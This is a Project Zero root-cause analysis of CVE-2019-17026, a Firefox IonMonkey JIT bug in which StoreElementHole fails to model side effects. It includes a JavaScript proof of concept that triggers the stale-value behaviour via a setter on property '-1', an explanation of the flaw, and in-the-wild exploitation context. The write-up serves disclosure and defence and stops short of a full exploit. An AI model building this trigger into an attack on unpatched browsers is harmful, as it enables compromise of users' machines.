CVE-2019-17026: Firefox Type Confusion in IonMonkey
Samuel Groß, Project Zero (Originally posted on Project Zero blog 2020-08-05)
The Basics
Disclosure or Patch Date: 8 January 2020
Product: Mozilla Firefox
Advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2020-03/
Affected Versions:
First Patched Version: Firefox 72.0.1 and Firefox ESR 68.4.1
Issue/Bug Report: https://bugzilla.mozilla.org/show_bug.cgi?id=1607443
Patch CL: https://hg.mozilla.org/mozilla-central/rev/d6e40de88f3defdc12ef27e64ca73e120b1f10e2
Bug-Introducing CL:
- Adding StoreElementHole: https://hg.mozilla.org/mozilla-central/rev/550a780f73aeb23ea958cab93de141376aa12f3a
- Adding FallibleStoreElement: https://hg.mozilla.org/mozilla-central/rev/26e6632de510d91ea6466008d2eda8f4cf25825f
Reporter(s): Qihoo 360 ATA
The Code
Proof-of-concept:
The code should print 1337, but on vulnerable versions prints 42.
// Set this to 10 or so to see correct result
const NUM_ITERATIONS = 2000;
const ARRAY_LENGTH = 100;
let OBJ = { a: 41 };
// Need to change property once or IonMonkey
// will assume it's a constant.
OBJ.a = 42;
let ctr = 0;
function f(obj, idx) {
let v = OBJ.a;
obj[idx] = v;
// In the last iteration, the JIT code will get here without
// bailing out while the StoreElementHole operation above
// unexpectedly invoked a setter because idx -1 is a property.
// As the compiler didn't expect side effects, it does not
// refetch OBJ.a and so returns an incorrect result.
// Causing type confusions is left as an exercise ;)
return OBJ.a;
}
function main() {
for(let i = 0; i < NUM_ITERATIONS; i++) {
let isLastIteration = i == NUM_ITERATIONS - 1;
let length = ARRAY_LENGTH;
let idx = isLastIteration ? -1 : ARRAY_LENGTH;
let obj = new Array(length);
Object.defineProperty(obj, '-1', {
set() {
print('Setter called, setting OBJ.a to 1337');
OBJ.a = 1337;
}
});
for (let j = 0; j < length; j++) {
// Array must not be packed or else a flag change
// (indicating non-packed elements) will cause
// invalidation in the last iteration.
if (j == length/2) {
continue;
}
obj[j] = j;
}
let r = f(obj, idx);
print('Result: ' + r);
}
}
main();
Exploit sample: N/A
Did you have access to the exploit sample when doing the analysis?) No
The Vulnerability
Bug class: Incorrect side-effect modelling in JIT Compiler
Vulnerability details:
The alias information, which describes what side-effects a JIT MIR operation can have, have been changed for the StoreElementHole
and FallibleStoreElement
operations. In particular, they have been generalized so the compiler now assumes that executing one of these two operations can change anything. This implies that the modelling was incorrect previously. This bug is thus one of the “incorrect side-effect modelling” issues frequently found in JIT engines.
Given the patch, it seems likely that the StoreElementHole
and FallibleStoreElement
can cause unexpected execution of arbitrary JavaScript. An immediate thought are indexed accessors in the prototype chain, however, the JIT compiler guards against that. As it turns out, however, the StoreElementHole
and FallibleStoreElement
operations will happily accept negative numbers as the index, in which case they end up writing a property and not an element (in JavaScript, elements must have integer-valued keys between 0 and I think 0x7fffffff). As such, a property setter on the property ‘-1’ will pass the JITs requirements about the input objects but will also cause unexpected execution of JavaScript during the StoreElementHole
operation.
Patch analysis: N/A
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
Based on how well documented & popular this bug class is, it’s likely someone looked for other instances of this bug class.
(Historical/present/future) context of bug:
CVE-2019-17026 was seen exploited in the wild with CVE-2020-0674, an Internet Explorer 0-day. If the target was running Firefox, CVE-2019-17026 was used.
CVE-2019-11707 is a similar type of bug in Spidermonkey that was also exploited in the wild [P0 1820].
The Exploit
Is the exploit method known? N/A
Exploit method:
Unknown due to not having access to the exploit, but most likely similar to other exploits for this type of bug, such as CVE-2019-11707.
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why):
Same as for CVE-2019-11707.
Found variants:
Structural improvements
Same as for CVE-2019-11707.
0-day detection methods
Same as for CVE-2019-11707.
Other References
- February 2020: “Darkhotel (APT-C-06) uses the "Double Star" 0Day vulnerability (CVE-2019-17026, CVE-2020-0674) to analyze the APT attack launched by China (translated)” by Qihoo 360 Core Security Team
- March 2020: “Identifying vulnerabilities and protecting you from phishing” by Google Threat Analysis Group
- April 2020: JPCERT advises that attacks exploited Firefox CVE-2019-17026 and IE CVE-2020-0674 vulnerabilities simultaneously
- Detailed explanation of the bug class: http://www.phrack.org/papers/jit_exploitation.html
- Similar bugs in Spidermonkey: